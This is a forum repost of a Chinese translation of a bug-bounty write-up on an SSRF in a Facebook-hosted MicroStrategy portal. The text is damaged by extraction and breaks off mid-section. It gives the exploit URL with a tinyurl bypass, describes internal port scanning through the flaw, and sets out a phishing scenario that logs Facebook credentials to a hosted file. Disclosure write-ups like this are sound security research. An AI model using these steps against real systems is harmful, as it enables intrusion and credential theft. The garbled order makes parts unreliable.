搜索

[28349] 2020-06-13_BugBounty$31500FacebookSSRF挖掘之旅

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2020-06-13_BugBounty$31500FacebookSSRF挖掘之旅 B u g   B o u n t y :   $ 3 1 5 0 0   F a c e b o o k   S S R F 挖 掘 之 旅 O t s 安 全   2 0 2 0 - 0 6 - 1 3 译 文 声 明 译 文 声 明 本 文 是 翻 译 文 章 ， 原 作 者 本 文 是 翻 译 文 章 ， 原 作 者   B i p i n   J i t i y a 原 文 地 址 ： 原 文 地 址 ： 译 文 仅 作 参 考 ， 具 体 内 容 表 达 请 见 原 文 译 文 仅 作 参 考 ， 具 体 内 容 表 达 请 见 原 文 前 言 前 言 这 篇 文 章 讲 述 了 我 如 何 在 F a c e b o o k 资 产 中 找 到 若 干 S S R F 并 为 我 获 得 第 一 份 漏 洞 赏 金 的 故 事 。 发 现 过 程 发 现 过 程 在 枚 举 F a c e b o o k 资 产 子 域 名 期 间 ， 有 一 个 子 域 将 我 重 定 向 到 了 , 截 图 如 下 ： 我 迅 速 使 用 G o o g l e 查 找 关 键 字 ， 发 现 这 是 基 于 工 具 构 建 的 商 业 智 能 门 户 系 统 。 我 通 过 一 篇 b l o g 确 认 了 这 一 点 ： h t t p s : / / m e d i u m . c o m / @ w i n 3 z z / h o w - i - m a d e - 3 1 5 0 0 - b y - s u b m i t t i n g - a - b u g - t o - f a c e b o o k - d 3 1 b b 0 4 6 e 2 0 4 h t t p s : / / m - n e x u s . t h e f a c e b o o k . c o m / h t t p s : / / m - n e x u s . t h e f a c e b o o k . c o m / s e r v l e t / m s t r W e b A d m i n m s t r W e b A d m i n M i c r o S t r t e g y
随 后 ， 我 在 官 方 手 册 中 ， 发 现 有 两 个 可 公 开 访 问 的 数 据 端 点 ： / M i c r o S t r a t e g y / s e r v l e t / m s t r W e b / M i c r o S t r a t e g y / s e r v l e t / t a s k P r o c 根 据 其 文 档 描 述 ， 默 认 情 况 下   端 点 启 用 了 基 于 H T T P   B a s i c   认 证 ， 随 后 我 发 现 端 点 访 问 时 未 要 求 身 份 认 证 ！ 该 端 点 可 以 基 于 参 数 来 实 现 一 些 自 定 义 数 据 收 集 和 内 容 生 成 的 功 能 ， 我 通 过 模 块 枚 举 参 数 ， 发 现 很 多 参 数 值 虽 然 达 到 预 期 输 入 但 会 被 要 求 校 验 身 份 凭 据 ， 而 该 参 数 值 会 处 理 简 单 的 U R L 而 不 会 要 求 校 验 身 份 凭 据 。 相 关 截 图 如 下 ： M i c r o S t r a t e g y / M i c r o S t r a t e g y / s e r v l e t / m s t r W e b / M i c r o S t r a t e g y / s e r v l e t / t a s k P r o c t a s k I d B u r p - I n t r u d e r t a s k I d s h o r t U R L
我 在 基 于 的 任 务 前 提 下 f u z z 了 官 方 文 档 中 提 到 的 所 有 参 数 ， 但 没 有 发 现 啥 发 现 ， 每 次 它 都 抛 给 我 一 个 状 态 码 为 5 0 0 内 容 为 “ 源 U R L 无 效 ” 的 错 误 消 息 ， 随 后 ， 我 转 变 思 路 ， 下 载 了 的 S D K 源 码 准 备 审 计 ， 大 小 4 0 0 M B + ， S D K 中 有 若 干 脚 本 和 一 些 j a r 包 ： t a s k I d = s h o r t U R L M i c r o S t r t e g y
随 后 ， 我 用 工 具 反 编 译 了 一 些 j a r 包 ， 开 始 审 计 ， 我 的 主 要 目 标 时 围 绕 参 数 来 找 寻 相 关 利 用 点 ， 如 下 ， 我 找 到 了 相 关 的 J a v a   C l a s s ： 后 来 我 才 知 道 为 什 么 都 反 馈 给 我 同 样 的 错 误 消 息 ， 原 来 任 务 下 的 参 数 只 允 许 通 过 （ 一 个 短 地 址 生 成 工 具 ） 来 创 建 , 相 关 代 码 如 下 ： j d - g u i s h o r t U R L t a s k I d = s h o r t U R L s r c U R L h t t p s : / / t i n y u r l . c o m
开 始 利 用 开 始 利 用 1 .   我 使 用   来 创 建 一 个 d n s l o g ： 2 . 接 下 来 ， 把 通 过 创 建 的   d n s l o g   在   上 生 成 短 链 接 B u r p   C o l l a b o r a t o r   C l i e n t B r u p   C o l l a b o r a t o r   C l i e n t h t t p s : / / t i n y u r l . c o m
3 . 将 生 成 的 短 链 接 赋 值 给 参 数 ， 具 体 U R L 如 下 ： 页 面 响 应 如 下 ： 4 . 随 后 发 现 在 拿 到 回 显 ， 得 知 请 求 地 址 是 5 . 通 过 w h o i s 查 询 到 该 i p 属 于 F a c e b o o k s r c U R L h t t p s   : / / m - n e x u s . t h e f a c e b o o k . c o m / s e r v l e t / t a s k P r o c ? t a s k I d = s h o r t U R L & t a s k E n v = x m l & t a s k C o n t e n t T y p e = j s o n & s r c U R L = {   Y O U R _ T I N Y _ U R L _ H E R E } B u r p   C o l l a b o r a t o r 1 9 9 . 2 0 1 . 6 4 . 1
6 . 如 果 要 通 过 该 S S R F 探 测 内 网 ， 可 以 通 过 给 参 数 赋 值 对 应 的 内 网 地 址 来 完 成 ， 例 如 探 测 ： 7 . 接 下 来 我 探 测 了 内 网 U R L （ 1 2 7 . 0 . 0 . 1 : 8 0 8 0 ） , 发 现 响 应 中 要 求 我 进 行 对 应 的 H T T P   B A S I C 认 证 ： 通 过 此 途 径 ， 我 可 以 绕 过 防 火 墙 来 探 测 服 务 器 的 内 部 网 络 结 构 。 我 迅 速 将 此 发 现 报 告 给 了 F a c e b o o k ， 但 是 由 于 他 们 不 认 为 这 是 安 全 漏 洞 而 被 拒 绝 ： s r c U R L 1 2 3 . 1 0 . 1 2 3 . 1 0
深 入 挖 掘 深 入 挖 掘 至 此 ， 我 不 得 不 证 明 一 些 其 它 的 危 害 ， 我 尝 试 用 多 个 协 议 （ 例 如   f i l e : / / ,   d i c t : / / ,   f t p : / / ,   g o p h e r : / /   等 ） 来 读 取 内 部 信 息 。 还 尝 试 获 取 云 实 例 的 元 数 据 ， 但 未 成 功 。 一 段 时 间 后 ， 我 想 出 了 一 些 其 它 有 影 响 力 的 例 子 。 以 下 是 一 些 攻 击 场 景 ： 1 .   反 射 X S S 2 . 在 S S R F 的 配 合 下 进 行 网 络 钓 鱼 2 . 1   创 建 并 托 管 一 个 F a c e b o o k 的 钓 鱼 登 录 页 面 ， 该 页 面 用 于 窃 取 F a c e b o o k 登 录 凭 据 。 2 . 2   通 过 短 地 址 生 成 器 来 将 生 成 短 链 接 感 谢 您 的 来 信 ！ 我 们 站 点 的 各 种 功 能 有 意 向 用 户 输 入 的 U R L 发 起 请 求 。 我 们 建 立 了 速 率 限 制 和 其 他 反 滥 用 机 制 以 阻 止 个 人 恶 意 大 规 模 使 用 这 些 功 能 。 如 果 您 的 目 的 是 执 行 端 口 扫 描 ， 则 接 下 来 可 尝 试 比 端 口 扫 描 更 有 效 率 和 深 度 的 方 法 。 不 过 ， 某 些 系 统 需 要 具 备 与 外 部 地 址 进 行 通 信 的 功 能 。 鉴 于 我 们 已 经 采 取 了 适 当 的 保 护 措 施 ， 因 此 我 们 不 认 为 此 行 为 会 在 我 们 的 计 划 中 构 成 有 效 的 安 全 风 险 h t t p s : / / t i n y u r l . c o m h t t p : / / a h m e d a b a d e x p r e s s . c o . i n / f b / l o g i n / f b . h t m l
2 . 3   构 造 如 下 恶 意 U R L ： 在 此 页 面 上 输 入 并 登 录 的 账 户 密 码 将 会 被 记 录 在 文 件 中 ， 之 后 受 害 者 将 被 重 定 向 到 真 实 的 F a c e b o o k 登 录 页 面 。 可 以 看 到 页 面 中 主 机 名 是 ， 这 完 全 合 法 。 2 . 4   查 看 获 取 到 的 账 户 密 码 ： 1 . 探 测 内 网 服 务 由 于 我 能 绕 过 防 火 墙 进 行 内 不 网 络 扫 描 ， 随 后 我 使 用 h t t p s   : / / m - n e x u s . t h e f a c e b o o k . c o m / s e r v l e t / t a s k P r o c ? t a s k I d = s h o r t U R L & t a s k E n v = x m l & t a s k C o n t e n t T y p e = j s o n & s r c U R L = {   Y O U R _ T I N Y _ U R L _ H E R E } h t t p : / / a h m e d a b a d e x p r e s s . c o . i n / f b / l o g i n / u s e r n a m e s . t x t m - n e x u s . t h e f a c e b o o k . c o m B u r p   I n t r u d e r
发 送 了 1 0 0 0 0 多 个 请 求 ， 以 寻 找 内 网 中 开 放 的 服 务 。 随 后 ， 我 发 现 了 一 个 运 行 在 1 0 3 0 3 端 口 上 名 为 的 应 用 程 序 。 截 图 如 下 ： 在 我 打 算 深 入 测 试 之 前 ， F a c e b o o k 安 全 团 队 已 修 复 了 该 漏 洞 。 我 因 此 获 得 了   $ 1 0 0 0   的 奖 金 ： 继 续 深 入 继 续 深 入 现 在 我 知 道 L i g h t R a y M i c r o S t r a t e g y   W e b   S D K
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理